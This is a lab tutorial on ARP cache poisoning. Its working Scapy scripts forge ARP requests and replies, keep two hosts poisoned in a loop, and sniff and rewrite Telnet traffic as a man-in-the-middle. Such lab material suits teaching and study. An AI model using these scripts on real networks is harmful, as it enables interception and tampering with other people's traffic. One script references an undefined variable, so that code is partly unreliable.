ARP cache Poisoning

All scripts and scenarios assume the use of Linux machines. Some of the attacks is directly transferable to Windows and iOS.

The Address Resolution Protocol (ARP) is a communication protocol used for discovering the link layer address, such as the MAC address, given an IP address. The ARP protocol is a very simple protocol, and it does not implement any security measure. The ARP cache poisoning attack is a common attack against the ARP protocol. Using such an attack, attackers can fool the victim into accepting forged IP-to-MAC mappings. This can cause the victim’s packets to be redirected to the computer with the forged address, leading to potential man-in-the-middle attacks.

We assume the following setup in this section.

There are several ways to conduct ARP cache poisoning attack. I'll show two here.

To show the content of a machines ARP cache use:

arp -a

ARP Cache Poisoning using ARP request

On host C, we construct an ARP request packet and send it to host A, as if it was on behalf of B with the following code.

First, an Ethernet packet is created with dst set to host A’s MAC address to ensure host A will receive this packet. Next, an ARP request packet is created by setting op to 1. This packet has psrc set to host B’s IP address to send it on behalf of host B, and pdst set to host A’s IP address. Finally, the ARP packet is encapsulated in the Ethernet packet.

Note that we use sendp which sends packets at layer 2, which bypasses the network layer and sends packets directly over the Ethernet interface.

#!/usr/bin/python3
from scapy.all import *

VM_A_MAC = "08:00:27:e3:5c:47"

E = Ether(dst=VM_A_MAC) # Source MAC will default to the senders MAC  
A = ARP(op=1, psrc='10.0.2.6', pdst='10.0.2.5')
pkt = E/A
sendp(pkt)

ARP Cache Poisoning using ARP reply

For this to work, unsolicited ARP messages must be accepted. For testing purposes type the following command at the targeted machine.

ifname is the name of your interface.

sudo sh -c "echo 1 > /proc/sys/net/ipv4/ifname/arp accept"

Now, on host C, we construct an ARP reply packet and send it to host B. To map C’s MAC address to A’s IP address in B’s ARP cache.

Note that we have changed target and therefore the MAC is different as well as the source and destination IP has been switched. Also, the ARP operation is now 2, which is a reply.

#!/usr/bin/python3
from scapy.all import *

VM_B_MAC = "08:00:27:53:06:da"

E = Ether(dst=VM_A_MAC) # Source MAC will default to the senders MAC  
A = ARP(op=2, psrc='10.0.2.5', pdst='10.0.2.6')
pkt = E/A
sendp(pkt)

MITM Attack on Telnet using ARP Cache Poisoning

We can now use ARP Cache Poisoning to conduct a Man-In-The-Middle attack. In this setup we will intercept a Telnet connection between host A and host B.

First of all, we need to enable IP forwarding in host C, so it will forward the packets between A and B.

sudo sysctl net.ipv4.ip_forward=1

Next, we need to make the ARP poisoning persistent. We can use one of the above scripts and modify it slightly to poison the ARP caches every 2 seconds.

#!/usr/bin/python3
from scapy.all import *
from time import sleep

VM_A_IP = "10.0.2.5"
VM_B_IP = "10.0.2.6"
VM_A_MAC = "08:00:27:e3:5c:47"
VM_B_MAC = "08:00:27:53:06:da"

def arp_pos(eth_dst, arp_op, arp_src, arp_dst):  
    E = Ether(dst=eth_dst) # Source MAC will default to the senders MAC  
    A = ARP(op=arp_op, psrc=arp_src, pdst=arp_dst)
    pkt = E/A
    sendp(pkt)

# Posion both host A and B
while True:
    arp_pos(VM_A_MAC, 1, VM_B_IP, VM_A_IP)
    arp_pos(VM_B_MAC, 1, VM_A_IP, VM_B_IP)
    sleep(2)
     

The above will need to run in the background to keep up the MITM.

Now, while ensuring IP forwarding is turned on at host C, we can establish a Telnet connection between host A and host B.

On host A do:

telnet '10.0.2.6'

Once the telnet connection from host A to host B through host C is established, IP forwarding is turned off at host C such that the payload can be modified before being sent:

sudo sysctl net.ipv4.ip_forward=0

Finally, we can make changes to the Telnet data sent between A and B. As an example, we can simply capitalize all chars send from over Telnet. Obviously, much more sinister changes could be made, but I believe the concept is clear.

#!/usr/bin/python3
from scapy.all import *

VM_A_IP = "10.0.2.5"
VM_B_IP = "10.0.2.6"

def spoof_pkt(pkt):
    # Check if the packet is a TCP packet
    if TCP in pkt and pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        # Copy the original packet and remove checksums and payload
        newpkt = IP(pkt[IP])
        del newpkt.chksum
        del newpkt[TCP].chksum
        del newpkt[TCP].payload
        
        # Capitalize the TCP payload
        olddata = pkt[TCP].payload.load
        newdata = olddata.capitalize()
        
        # Send the modified packet
        send(newpkt/newdata)
        
    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        # Send the original packet
        send(pkt[IP])
        
# Sniff TCP packets and apply the spoof_pkt function to each packet
pkt = sniff(filter='tcp', prn=spoof_pkt)

Last updated